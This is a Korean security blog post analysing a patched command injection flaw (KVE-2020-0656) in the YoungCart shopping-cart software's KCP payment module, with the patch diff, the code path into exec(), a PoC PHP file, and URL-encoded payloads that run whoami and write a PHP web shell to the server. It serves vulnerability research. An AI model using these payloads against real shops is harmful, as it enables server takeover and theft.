본문 바로가기
Hack/Web

[KVE-2020-0656] YoungCart 1Day 취약점 분석 (Command Injection)

by Becoming a Hacker 2020. 9. 22.
반응형

개요

KISA 버그 바운티를 진행하면서 항상 찾는 취약점들만 찾게 되는 것 같고, 시야가 좁아지는 느낌이라 취약점 패치 내역을 보고 1Day 취약점 분석을 진행해보려고 합니다.

 

취약점 관련 정보

정보 내용
취약 버전 Young Cart <= 5.4.2.7
패치 버전 Young Cart 5.4.2.8
취약점 종류 Command Injection
KVE 번호 KVE-2020-0656

 

패치 내역 (-는 패치 이전 코드, +는 패치 이후 코드)

 

mobile/shop/kcp/pp_ax_hub.php

-  $tran_cd = $_POST[ "tran_cd" ]; // 43Line, 처리 종류
+  $tran_cd = preg_replace('/[^0-9A-Za-z_\-\.]/i', '', $_POST[ "tran_cd" ]); // 43Line

- $ordr_idxx = $_POST[ "ordr_idxx" ]; // 46Line, 주문 번호
+ $ordr_idxx = preg_replace('/[^0-9A-Za-z_\-\.]/i', '', $_POST[ "ordr_idxx" ]); // 46Line

 

shop/kcp/pp_ax_hub.php

- $ordr_idxx = $_POST[ "ordr_idxx" ]; // 65Line, 주문 번호
+ $ordr_idxx = preg_replace('/[^0-9A-Za-z_\-\.]/i', '', $_POST[ "ordr_idxx" ]); // 65Line

+ $tx_cd = ''; // 98 Line

분석

패치 내역으로 tran_cd와 ordr_idxx 변수를 통해 해당 취약점이 발현되고 있음을 확인할 수 있었고, 취약한 변수들은 mf_do_tx() -> mf_exec() -> exec() 와 같은 흐름을 따라 exec() 함수의 인자로 사용되었습니다.

 

위에서 설명한 흐름에 따라 중요한 코드들을 간략히 나열하면 아래와 같습니다.

 

shop/kcp/pp_ax_hub.php

$tran_cd = $_POST[ "tran_cd" ]; // 43Line, 처리 종류

if ( $tran_cd != "" ){ // 247Line
    $c_PayPlus->mf_do_tx( $trace_no, $g_conf_home_dir, $g_conf_site_cd, $g_conf_site_key, $tran_cd, "", $g_conf_gw_url, $g_conf_gw_port, "payplus_cli_slib", $ordr_idxx, $cust_ip, $g_conf_log_level , 0, 0, $g_conf_key_dir, $g_conf_log_dir); // 응답 전문 처리

 

shop/kcp/pp_ax_hub_lib.php

function  mf_do_tx( $trace_no,  $home_dir, $site_cd,
                    $site_key,  $tx_cd,    $pub_key_str,
                    $pa_url,    $pa_port,  $user_agent,
                    $ordr_idxx, $cust_ip,  $log_level,
                    $opt, $mode, $key_dir,   $log_dir){ // 150Line

	$bin_exe = $home_dir.'/bin/pp_cli_exe ';

	$res_data = $this->mf_exec($bin_exe . "\"". // 171Line ~
					"site_cd=" . $site_cd . "," .
					"site_key=" . $site_key . "," .
					"tx_cd=" . $tx_cd . "," .
					"pa_url=" . $pa_url . "," .
					"pa_port=" . $pa_port . "," .
					"ordr_idxx=" . $ordr_idxx . "," .
					"enc_data=" . $this->m_encx_data . "," .
					"enc_info=" . $this->m_encx_info . "," .
					"trace_no=" . $trace_no . "," .
					"cust_ip=" . $cust_ip . "," .
					"key_path=" . $key_dir . "," .
					"log_path=" . $log_dir . "," .
					"log_level=" . $log_level . "," .
					"plan_data=" . $payx_data .
					$ordr_data .
					$rcvr_data .
					$escw_data .
					$modx_data .
					"\"") ;
                            
function  mf_exec(){ // 278Line
	$arg = func_get_args();
	if ( is_array( $arg[0] ) )  $arg = $arg[0];
	$exec_cmd = array_shift( $arg );

	while ( list(,$i) = each($arg) ){
		$exec_cmd .= " " . escapeshellarg( $i );
	}
	$rt = exec( $exec_cmd );
	return  $rt;
}

 

해당 취약점은 KCP(한국사이버결제)를 사용하는 경우에만 발현 가능하기 때문에, 그 위험성에 비해 뒤늦게 발견되었다고 생각합니다. (Exploit 과정에 대한 난이도는 낮았음)

 

현재 KCP를 사용하여 취약점을 확인할 수 없기 때문에 실제 흐름과 비슷한 파일을 새로 만들어 취약점을 테스트 해보았습니다.

 

PoC.php

function  mf_exec(){
	$arg = func_get_args();
	if ( is_array( $arg[0] ) )  $arg = $arg[0];
	$exec_cmd = array_shift( $arg );

 	while ( list(,$i) = each($arg) ){
	$exec_cmd .= " " . escapeshellarg( $i );
	}

	$rt = exec( $exec_cmd );
	return $rt;
}

$tx_cd = $_GET['tx_cd'];
$bin_exe = $home_dir.'/bin/pp_cli_exe ';
echo("Command : ".$bin_exe . "\""."tx_cd=".$tx_cd."\"<br>");

$text = mf_exec($bin_exe . "\""."tx_cd=".$tx_cd."\"");

 

GET 파라메터 tx_cd 값을 조작함으로써 exec 함수의 인자로 사용되는 명령어를 임의로 변경 가능하였습니다.

 

명령어 실행 - whoami

tx_cd 값 : tx_cd=123%22;whoami;%22

 

WebShell 업로드 - echo "<?php system(\$['cmd']); ?>" > cmd.php

tx_cd 값 : tx_cd=123%22;echo%20%22%3C?php%20system(\$_GET[%27cmd%27]);%20?%3E%22%3Ecmd.php;%22

 

WebShell 확인

 


Reference

https://sir.kr/yc5_pds/2684

https://github.com/gnuboard/youngcart5/commit/b29af1e2b4eb2e2995e32dfa0090e02123556bfb

댓글